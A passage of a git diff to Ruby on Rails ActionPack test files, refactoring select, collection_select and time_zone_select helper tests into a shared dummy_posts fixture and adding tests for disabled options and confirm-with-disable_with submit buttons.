- "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
- output_buffer
- )
- end
+ def test_select_with_disabled_value
+ @post = Post.new
+ @post.category = "<mus>"
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\" disabled=\"disabled\">hest</option></select>",
+ select("post", "category", %w( abe <mus> hest ), :disabled => 'hest')
+ )
+ end
- def test_collection_select_under_fields_for_with_index
- @posts = [
- Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
- Post.new("Babe went home", "Babe", "To a little house", "shh!"),
- Post.new("Cabe went home", "Cabe", "To a little house", "shh!")
- ]
+ def test_select_with_disabled_array
+ @post = Post.new
+ @post.category = "<mus>"
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\" disabled=\"disabled\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\" disabled=\"disabled\">hest</option></select>",
+ select("post", "category", %w( abe <mus> hest ), :disabled => ['hest', 'abe'])
+ )
+ end
- @post = Post.new
- @post.author_name = "Babe"
+ def test_collection_select
+ @post = Post.new
+ @post.author_name = "Babe"
- fields_for :post, @post, :index => 815 do |f|
- concat f.collection_select(:author_name, @posts, :author_name, :author_name)
- end
+ assert_dom_equal(
+ "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+ collection_select("post", "author_name", dummy_posts, "author_name", "author_name")
+ )
+ end
- assert_dom_equal(
- "<select id=\"post_815_author_name\" name=\"post[815][author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
- output_buffer
- )
+ def test_collection_select_under_fields_for
+ @post = Post.new
+ @post.author_name = "Babe"
+
+ fields_for :post, @post do |f|
+ concat f.collection_select(:author_name, dummy_posts, :author_name, :author_name)
end
+
+ assert_dom_equal(
+ "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+ output_buffer
+ )
+ end
- def test_collection_select_under_fields_for_with_auto_index
- @posts = [
- Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
- Post.new("Babe went home", "Babe", "To a little house", "shh!"),
- Post.new("Cabe went home", "Cabe", "To a little house", "shh!")
- ]
+ def test_collection_select_under_fields_for_with_index
+ @post = Post.new
+ @post.author_name = "Babe"
- @post = Post.new
- @post.author_name = "Babe"
- def @post.to_param; 815; end
+ fields_for :post, @post, :index => 815 do |f|
+ concat f.collection_select(:author_name, dummy_posts, :author_name, :author_name)
+ end
- fields_for "post[]", @post do |f|
- concat f.collection_select(:author_name, @posts, :author_name, :author_name)
- end
+ assert_dom_equal(
+ "<select id=\"post_815_author_name\" name=\"post[815][author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+ output_buffer
+ )
+ end
- assert_dom_equal(
- "<select id=\"post_815_author_name\" name=\"post[815][author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
- output_buffer
- )
+ def test_collection_select_under_fields_for_with_auto_index
+ @post = Post.new
+ @post.author_name = "Babe"
+ def @post.to_param; 815; end
+
+ fields_for "post[]", @post do |f|
+ concat f.collection_select(:author_name, dummy_posts, :author_name, :author_name)
end
- def test_collection_select_with_blank_and_style
- @posts = [
- Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
- Post.new("Babe went home", "Babe", "To a little house", "shh!"),
- Post.new("Cabe went home", "Cabe", "To a little house", "shh!")
- ]
+ assert_dom_equal(
+ "<select id=\"post_815_author_name\" name=\"post[815][author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+ output_buffer
+ )
+ end
- @post = Post.new
- @post.author_name = "Babe"
+ def test_collection_select_with_blank_and_style
+ @post = Post.new
+ @post.author_name = "Babe"
- assert_dom_equal(
- "<select id=\"post_author_name\" name=\"post[author_name]\" style=\"width: 200px\"><option value=\"\"></option>\n<option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
- collection_select("post", "author_name", @posts, "author_name", "author_name", { :include_blank => true }, "style" => "width: 200px")
- )
- end
+ assert_dom_equal(
+ "<select id=\"post_author_name\" name=\"post[author_name]\" style=\"width: 200px\"><option value=\"\"></option>\n<option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+ collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { :include_blank => true }, "style" => "width: 200px")
+ )
+ end
- def test_collection_select_with_blank_as_string_and_style
- @posts = [
- Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
- Post.new("Babe went home", "Babe", "To a little house", "shh!"),
- Post.new("Cabe went home", "Cabe", "To a little house", "shh!")
- ]
+ def test_collection_select_with_blank_as_string_and_style
+ @post = Post.new
+ @post.author_name = "Babe"
- @post = Post.new
- @post.author_name = "Babe"
+ assert_dom_equal(
+ "<select id=\"post_author_name\" name=\"post[author_name]\" style=\"width: 200px\"><option value=\"\">No Selection</option>\n<option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+ collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { :include_blank => 'No Selection' }, "style" => "width: 200px")
+ )
+ end
- assert_dom_equal(
- "<select id=\"post_author_name\" name=\"post[author_name]\" style=\"width: 200px\"><option value=\"\">No Selection</option>\n<option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
- collection_select("post", "author_name", @posts, "author_name", "author_name", { :include_blank => 'No Selection' }, "style" => "width: 200px")
- )
- end
+ def test_collection_select_with_multiple_option_appends_array_brackets
+ @post = Post.new
+ @post.author_name = "Babe"
- def test_collection_select_with_multiple_option_appends_array_brackets
- @posts = [
- Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
- Post.new("Babe went home", "Babe", "To a little house", "shh!"),
- Post.new("Cabe went home", "Cabe", "To a little house", "shh!")
- ]
+ expected = "<select id=\"post_author_name\" name=\"post[author_name][]\" multiple=\"multiple\"><option value=\"\"></option>\n<option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>"
- @post = Post.new
- @post.author_name = "Babe"
+ # Should suffix default name with [].
+ assert_dom_equal expected, collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { :include_blank => true }, :multiple => true)
- expected = "<select id=\"post_author_name\" name=\"post[author_name][]\" multiple=\"multiple\"><option value=\"\"></option>\n<option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>"
+ # Shouldn't suffix custom name with [].
+ assert_dom_equal expected, collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { :include_blank => true, :name => 'post[author_name][]' }, :multiple => true)
+ end
- # Should suffix default name with [].
- assert_dom_equal expected, collection_select("post", "author_name", @posts, "author_name", "author_name", { :include_blank => true }, :multiple => true)
+ def test_collection_select_with_blank_and_selected
+ @post = Post.new
+ @post.author_name = "Babe"
- # Shouldn't suffix custom name with [].
- assert_dom_equal expected, collection_select("post", "author_name", @posts, "author_name", "author_name", { :include_blank => true, :name => 'post[author_name][]' }, :multiple => true)
- end
+ assert_dom_equal(
+ %{<select id="post_author_name" name="post[author_name]"><option value=""></option>\n<option value="&lt;Abe&gt;" selected="selected">&lt;Abe&gt;</option>\n<option value="Babe">Babe</option>\n<option value="Cabe">Cabe</option></select>},
+ collection_select("post", "author_name", dummy_posts, "author_name", "author_name", {:include_blank => true, :selected => "<Abe>"})
+ )
+ end
- def test_collection_select_with_blank_and_selected
- @posts = [
- Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
- Post.new("Babe went home", "Babe", "To a little house", "shh!"),
- Post.new("Cabe went home", "Cabe", "To a little house", "shh!")
- ]
+ def test_collection_select_with_disabled
+ @post = Post.new
+ @post.author_name = "Babe"
- @post = Post.new
- @post.author_name = "Babe"
+ assert_dom_equal(
+ "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\" disabled=\"disabled\">Cabe</option></select>",
+ collection_select("post", "author_name", dummy_posts, "author_name", "author_name", :disabled => 'Cabe')
+ )
+ end
- assert_dom_equal(
- %{<select id="post_author_name" name="post[author_name]"><option value=""></option>\n<option value="&lt;Abe&gt;" selected="selected">&lt;Abe&gt;</option>\n<option value="Babe">Babe</option>\n<option value="Cabe">Cabe</option></select>},
- collection_select("post", "author_name", @posts, "author_name", "author_name", {:include_blank => true, :selected => "<Abe>"})
- )
- end
+ def test_time_zone_select
+ @firm = Firm.new("D")
+ html = time_zone_select( "firm", "time_zone" )
+ assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\" selected=\"selected\">D</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "</select>",
+ html
+ end
- def test_time_zone_select
- @firm = Firm.new("D")
- html = time_zone_select( "firm", "time_zone" )
- assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
- "<option value=\"A\">A</option>\n" +
- "<option value=\"B\">B</option>\n" +
- "<option value=\"C\">C</option>\n" +
- "<option value=\"D\" selected=\"selected\">D</option>\n" +
- "<option value=\"E\">E</option>" +
- "</select>",
- html
+ def test_time_zone_select_under_fields_for
+ @firm = Firm.new("D")
+
+ fields_for :firm, @firm do |f|
+ concat f.time_zone_select(:time_zone)
end
+
+ assert_dom_equal(
+ "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\" selected=\"selected\">D</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "</select>",
+ output_buffer
+ )
+ end
- def test_time_zone_select_under_fields_for
- @firm = Firm.new("D")
+ def test_time_zone_select_under_fields_for_with_index
+ @firm = Firm.new("D")
- fields_for :firm, @firm do |f|
- concat f.time_zone_select(:time_zone)
- end
-
- assert_dom_equal(
- "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
- "<option value=\"A\">A</option>\n" +
- "<option value=\"B\">B</option>\n" +
- "<option value=\"C\">C</option>\n" +
- "<option value=\"D\" selected=\"selected\">D</option>\n" +
- "<option value=\"E\">E</option>" +
- "</select>",
- output_buffer
- )
+ fields_for :firm, @firm, :index => 305 do |f|
+ concat f.time_zone_select(:time_zone)
end
- def test_time_zone_select_under_fields_for_with_index
- @firm = Firm.new("D")
+ assert_dom_equal(
+ "<select id=\"firm_305_time_zone\" name=\"firm[305][time_zone]\">" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\" selected=\"selected\">D</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "</select>",
+ output_buffer
+ )
+ end
- fields_for :firm, @firm, :index => 305 do |f|
- concat f.time_zone_select(:time_zone)
- end
+ def test_time_zone_select_under_fields_for_with_auto_index
+ @firm = Firm.new("D")
+ def @firm.to_param; 305; end
- assert_dom_equal(
- "<select id=\"firm_305_time_zone\" name=\"firm[305][time_zone]\">" +
- "<option value=\"A\">A</option>\n" +
- "<option value=\"B\">B</option>\n" +
- "<option value=\"C\">C</option>\n" +
- "<option value=\"D\" selected=\"selected\">D</option>\n" +
- "<option value=\"E\">E</option>" +
- "</select>",
- output_buffer
- )
+ fields_for "firm[]", @firm do |f|
+ concat f.time_zone_select(:time_zone)
end
- def test_time_zone_select_under_fields_for_with_auto_index
- @firm = Firm.new("D")
- def @firm.to_param; 305; end
+ assert_dom_equal(
+ "<select id=\"firm_305_time_zone\" name=\"firm[305][time_zone]\">" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\" selected=\"selected\">D</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "</select>",
+ output_buffer
+ )
+ end
- fields_for "firm[]", @firm do |f|
- concat f.time_zone_select(:time_zone)
- end
+ def test_time_zone_select_with_blank
+ @firm = Firm.new("D")
+ html = time_zone_select("firm", "time_zone", nil, :include_blank => true)
+ assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+ "<option value=\"\"></option>\n" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\" selected=\"selected\">D</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "</select>",
+ html
+ end
- assert_dom_equal(
- "<select id=\"firm_305_time_zone\" name=\"firm[305][time_zone]\">" +
- "<option value=\"A\">A</option>\n" +
- "<option value=\"B\">B</option>\n" +
- "<option value=\"C\">C</option>\n" +
- "<option value=\"D\" selected=\"selected\">D</option>\n" +
- "<option value=\"E\">E</option>" +
- "</select>",
- output_buffer
- )
- end
+ def test_time_zone_select_with_blank_as_string
+ @firm = Firm.new("D")
+ html = time_zone_select("firm", "time_zone", nil, :include_blank => 'No Zone')
+ assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+ "<option value=\"\">No Zone</option>\n" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\" selected=\"selected\">D</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "</select>",
+ html
+ end
- def test_time_zone_select_with_blank
- @firm = Firm.new("D")
- html = time_zone_select("firm", "time_zone", nil, :include_blank => true)
- assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
- "<option value=\"\"></option>\n" +
- "<option value=\"A\">A</option>\n" +
- "<option value=\"B\">B</option>\n" +
- "<option value=\"C\">C</option>\n" +
- "<option value=\"D\" selected=\"selected\">D</option>\n" +
- "<option value=\"E\">E</option>" +
- "</select>",
- html
- end
+ def test_time_zone_select_with_style
+ @firm = Firm.new("D")
+ html = time_zone_select("firm", "time_zone", nil, {},
+ "style" => "color: red")
+ assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\" style=\"color: red\">" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\" selected=\"selected\">D</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "</select>",
+ html
+ assert_dom_equal html, time_zone_select("firm", "time_zone", nil, {},
+ :style => "color: red")
+ end
- def test_time_zone_select_with_blank_as_string
- @firm = Firm.new("D")
- html = time_zone_select("firm", "time_zone", nil, :include_blank => 'No Zone')
- assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
- "<option value=\"\">No Zone</option>\n" +
- "<option value=\"A\">A</option>\n" +
- "<option value=\"B\">B</option>\n" +
- "<option value=\"C\">C</option>\n" +
- "<option value=\"D\" selected=\"selected\">D</option>\n" +
- "<option value=\"E\">E</option>" +
- "</select>",
- html
- end
+ def test_time_zone_select_with_blank_and_style
+ @firm = Firm.new("D")
+ html = time_zone_select("firm", "time_zone", nil,
+ { :include_blank => true }, "style" => "color: red")
+ assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\" style=\"color: red\">" +
+ "<option value=\"\"></option>\n" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\" selected=\"selected\">D</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "</select>",
+ html
+ assert_dom_equal html, time_zone_select("firm", "time_zone", nil,
+ { :include_blank => true }, :style => "color: red")
+ end
- def test_time_zone_select_with_style
- @firm = Firm.new("D")
- html = time_zone_select("firm", "time_zone", nil, {},
- "style" => "color: red")
- assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\" style=\"color: red\">" +
- "<option value=\"A\">A</option>\n" +
- "<option value=\"B\">B</option>\n" +
- "<option value=\"C\">C</option>\n" +
- "<option value=\"D\" selected=\"selected\">D</option>\n" +
- "<option value=\"E\">E</option>" +
- "</select>",
- html
- assert_dom_equal html, time_zone_select("firm", "time_zone", nil, {},
- :style => "color: red")
- end
+ def test_time_zone_select_with_blank_as_string_and_style
+ @firm = Firm.new("D")
+ html = time_zone_select("firm", "time_zone", nil,
+ { :include_blank => 'No Zone' }, "style" => "color: red")
+ assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\" style=\"color: red\">" +
+ "<option value=\"\">No Zone</option>\n" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\" selected=\"selected\">D</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "</select>",
+ html
+ assert_dom_equal html, time_zone_select("firm", "time_zone", nil,
+ { :include_blank => 'No Zone' }, :style => "color: red")
+ end
- def test_time_zone_select_with_blank_and_style
- @firm = Firm.new("D")
- html = time_zone_select("firm", "time_zone", nil,
- { :include_blank => true }, "style" => "color: red")
- assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\" style=\"color: red\">" +
- "<option value=\"\"></option>\n" +
- "<option value=\"A\">A</option>\n" +
- "<option value=\"B\">B</option>\n" +
- "<option value=\"C\">C</option>\n" +
- "<option value=\"D\" selected=\"selected\">D</option>\n" +
- "<option value=\"E\">E</option>" +
- "</select>",
- html
- assert_dom_equal html, time_zone_select("firm", "time_zone", nil,
- { :include_blank => true }, :style => "color: red")
- end
+ def test_time_zone_select_with_priority_zones
+ @firm = Firm.new("D")
+ zones = [ ActiveSupport::TimeZone.new("A"), ActiveSupport::TimeZone.new("D") ]
+ html = time_zone_select("firm", "time_zone", zones )
+ assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"D\" selected=\"selected\">D</option>" +
+ "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "</select>",
+ html
+ end
- def test_time_zone_select_with_blank_as_string_and_style
- @firm = Firm.new("D")
- html = time_zone_select("firm", "time_zone", nil,
- { :include_blank => 'No Zone' }, "style" => "color: red")
- assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\" style=\"color: red\">" +
- "<option value=\"\">No Zone</option>\n" +
- "<option value=\"A\">A</option>\n" +
- "<option value=\"B\">B</option>\n" +
- "<option value=\"C\">C</option>\n" +
- "<option value=\"D\" selected=\"selected\">D</option>\n" +
- "<option value=\"E\">E</option>" +
- "</select>",
- html
- assert_dom_equal html, time_zone_select("firm", "time_zone", nil,
- { :include_blank => 'No Zone' }, :style => "color: red")
- end
+ def test_time_zone_select_with_priority_zones_as_regexp
+ @firm = Firm.new("D")
+ @fake_timezones.each_with_index do |tz, i|
+ tz.stubs(:=~).returns(i.zero? || i == 3)
+ end
+
+ html = time_zone_select("firm", "time_zone", /A|D/)
+ assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"D\" selected=\"selected\">D</option>" +
+ "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "</select>",
+ html
+ end
- def test_time_zone_select_with_priority_zones
- @firm = Firm.new("D")
- zones = [ ActiveSupport::TimeZone.new("A"), ActiveSupport::TimeZone.new("D") ]
- html = time_zone_select("firm", "time_zone", zones )
+ def test_time_zone_select_with_default_time_zone_and_nil_value
+ @firm = Firm.new()
+ @firm.time_zone = nil
+ html = time_zone_select( "firm", "time_zone", nil, :default => 'B' )
assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
"<option value=\"A\">A</option>\n" +
- "<option value=\"D\" selected=\"selected\">D</option>" +
- "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
- "<option value=\"B\">B</option>\n" +
+ "<option value=\"B\" selected=\"selected\">B</option>\n" +
"<option value=\"C\">C</option>\n" +
+ "<option value=\"D\">D</option>\n" +
"<option value=\"E\">E</option>" +
"</select>",
html
- end
-
- def test_time_zone_select_with_priority_zones_as_regexp
- @firm = Firm.new("D")
- @fake_timezones.each_with_index do |tz, i|
- tz.stubs(:=~).returns(i.zero? || i == 3)
- end
+ end
- html = time_zone_select("firm", "time_zone", /A|D/)
+ def test_time_zone_select_with_default_time_zone_and_value
+ @firm = Firm.new('D')
+ html = time_zone_select( "firm", "time_zone", nil, :default => 'B' )
assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
"<option value=\"A\">A</option>\n" +
- "<option value=\"D\" selected=\"selected\">D</option>" +
- "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
"<option value=\"B\">B</option>\n" +
"<option value=\"C\">C</option>\n" +
+ "<option value=\"D\" selected=\"selected\">D</option>\n" +
"<option value=\"E\">E</option>" +
"</select>",
html
- end
+ end
- def test_time_zone_select_with_default_time_zone_and_nil_value
- @firm = Firm.new()
- @firm.time_zone = nil
- html = time_zone_select( "firm", "time_zone", nil, :default => 'B' )
- assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
- "<option value=\"A\">A</option>\n" +
- "<option value=\"B\" selected=\"selected\">B</option>\n" +
- "<option value=\"C\">C</option>\n" +
- "<option value=\"D\">D</option>\n" +
- "<option value=\"E\">E</option>" +
- "</select>",
- html
- end
+ private
- def test_time_zone_select_with_default_time_zone_and_value
- @firm = Firm.new('D')
- html = time_zone_select( "firm", "time_zone", nil, :default => 'B' )
- assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
- "<option value=\"A\">A</option>\n" +
- "<option value=\"B\">B</option>\n" +
- "<option value=\"C\">C</option>\n" +
- "<option value=\"D\" selected=\"selected\">D</option>\n" +
- "<option value=\"E\">E</option>" +
- "</select>",
- html
+ def dummy_posts
+ [ Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
+ Post.new("Babe went home", "Babe", "To a little house", "shh!"),
+ Post.new("Cabe went home", "Cabe", "To a little house", "shh!") ]
end
-
- end
end
diff --git a/actionpack/test/template/form_tag_helper_test.rb b/actionpack/test/template/form_tag_helper_test.rb
index 9d4dac64f2..ea0be4a27a 100644
--- a/actionpack/test/template/form_tag_helper_test.rb
+++ b/actionpack/test/template/form_tag_helper_test.rb
@@ -267,11 +267,18 @@ class FormTagHelperTest < ActionView::TestCase
def test_submit_tag_with_confirmation
assert_dom_equal(
- %(<input name='commit' type='submit' value='Save' onclick="return confirm('Are you sure?');"/>),
+ %(<input name='commit' type='submit' value='Save' onclick="if (!confirm('Are you sure?')) return false; return true;"/>),
submit_tag("Save", :confirm => "Are you sure?")
)
end
-
+
+ def test_submit_tag_with_confirmation_and_with_disable_with
+ assert_dom_equal(
+ %(<input name="commit" type="submit" value="Save" onclick="if (!confirm('Are you sure?')) return false; if (window.hiddenCommit) { window.hiddenCommit.setAttribute('value', this.value); }else { hiddenCommit = this.cloneNode(false);hiddenCommit.setAttribute('type', 'hidden');this.form.appendChild(hiddenCommit); }this.setAttribute('originalValue', this.value);this.disabled = true;this.value='Saving...';result = (this.form.onsubmit ? (this.form.onsubmit() ? this.form.submit() : false) : this.form.submit());if (result == false) { this.value = this.getAttribute('originalValue');this.disabled = false; }return result;" />),
+ submit_tag("Save", :disable_with => "Saving...", :confirm => "Are you sure?")
+ )
+ end
+
def test_image_submit_tag_with_confirmation
assert_dom_equal(
%(<input type="image" src="/images/save.gif" onclick="return confirm('Are you sure?');"/>),
diff --git a/actionpack/test/template/javascript_helper_test.rb b/actionpack/test/template/javascript_helper_test.rb
index cf79480ab5..f9bc92c7c9 100644
--- a/actionpack/test/template/javascript_helper_test.rb
+++ b/actionpack/test/template/javascript_helper_test.rb
@@ -46,11 +46,6 @@ class JavaScriptHelperTest < ActionView::TestCase
link_to_function("Greeting", "alert('Hello world!')", :href => 'http://example.com/')
end
- def test_link_to_function_with_href
- assert_dom_equal %(<a href="http://example.com/" onclick="alert('Hello world!'); return false;">Greeting</a>),
- link_to_function("Greeting", "alert('Hello world!')", :href => 'http://example.com/')
- end
-
def test_button_to_function
assert_dom_equal %(<input type="button" onclick="alert('Hello world!');" value="Greeting" />),
button_to_function("Greeting", "alert('Hello world!')")
diff --git a/actionpack/test/template/number_helper_i18n_test.rb b/actionpack/test/template/number_helper_i18n_test.rb
index 3fdf991a44..bf5b81292f 100644
--- a/actionpack/test/template/number_helper_i18n_test.rb
+++ b/actionpack/test/template/number_helper_i18n_test.rb
@@ -5,67 +5,65 @@ class NumberHelperI18nTests < Test::Unit::TestCase
attr_reader :request
- uses_mocha 'number_helper_i18n_tests' do
- def setup
- @number_defaults = { :precision => 3, :delimiter => ',', :separator => '.' }
- @currency_defaults = { :unit => '$', :format => '%u%n', :precision => 2 }
- @human_defaults = { :precision => 1 }
- @human_storage_units_format_default = "%n %u"
- @human_storage_units_units_byte_other = "Bytes"
- @human_storage_units_units_kb_other = "KB"
- @percentage_defaults = { :delimiter => '' }
- @precision_defaults = { :delimiter => '' }
+ def setup
+ @number_defaults = { :precision => 3, :delimiter => ',', :separator => '.' }
+ @currency_defaults = { :unit => '$', :format => '%u%n', :precision => 2 }
+ @human_defaults = { :precision => 1 }
+ @human_storage_units_format_default = "%n %u"
+ @human_storage_units_units_byte_other = "Bytes"
+ @human_storage_units_units_kb_other = "KB"
+ @percentage_defaults = { :delimiter => '' }
+ @precision_defaults = { :delimiter => '' }
- I18n.backend.store_translations 'en', :number => { :format => @number_defaults,
- :currency => { :format => @currency_defaults }, :human => @human_defaults }
- end
+ I18n.backend.store_translations 'en', :number => { :format => @number_defaults,
+ :currency => { :format => @currency_defaults }, :human => @human_defaults }
+ end
- def test_number_to_currency_translates_currency_formats
- I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults)
- I18n.expects(:translate).with(:'number.currency.format', :locale => 'en',
- :raise => true).returns(@currency_defaults)
- number_to_currency(1, :locale => 'en')
- end
+ def test_number_to_currency_translates_currency_formats
+ I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults)
+ I18n.expects(:translate).with(:'number.currency.format', :locale => 'en',
+ :raise => true).returns(@currency_defaults)
+ number_to_currency(1, :locale => 'en')
+ end
- def test_number_with_precision_translates_number_formats
- I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults)
- I18n.expects(:translate).with(:'number.precision.format', :locale => 'en',
- :raise => true).returns(@precision_defaults)
- number_with_precision(1, :locale => 'en')
- end
+ def test_number_with_precision_translates_number_formats
+ I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults)
+ I18n.expects(:translate).with(:'number.precision.format', :locale => 'en',
+ :raise => true).returns(@precision_defaults)
+ number_with_precision(1, :locale => 'en')
+ end
- def test_number_with_delimiter_translates_number_formats
- I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults)
- number_with_delimiter(1, :locale => 'en')
- end
+ def test_number_with_delimiter_translates_number_formats
+ I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults)
+ number_with_delimiter(1, :locale => 'en')
+ end
- def test_number_to_percentage_translates_number_formats
- I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults)
- I18n.expects(:translate).with(:'number.percentage.format', :locale => 'en',
- :raise => true).returns(@percentage_defaults)
- number_to_percentage(1, :locale => 'en')
- end
+ def test_number_to_percentage_translates_number_formats
+ I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults)
+ I18n.expects(:translate).with(:'number.percentage.format', :locale => 'en',
+ :raise => true).returns(@percentage_defaults)
+ number_to_percentage(1, :locale => 'en')
+ end
- def test_number_to_human_size_translates_human_formats
- I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults)
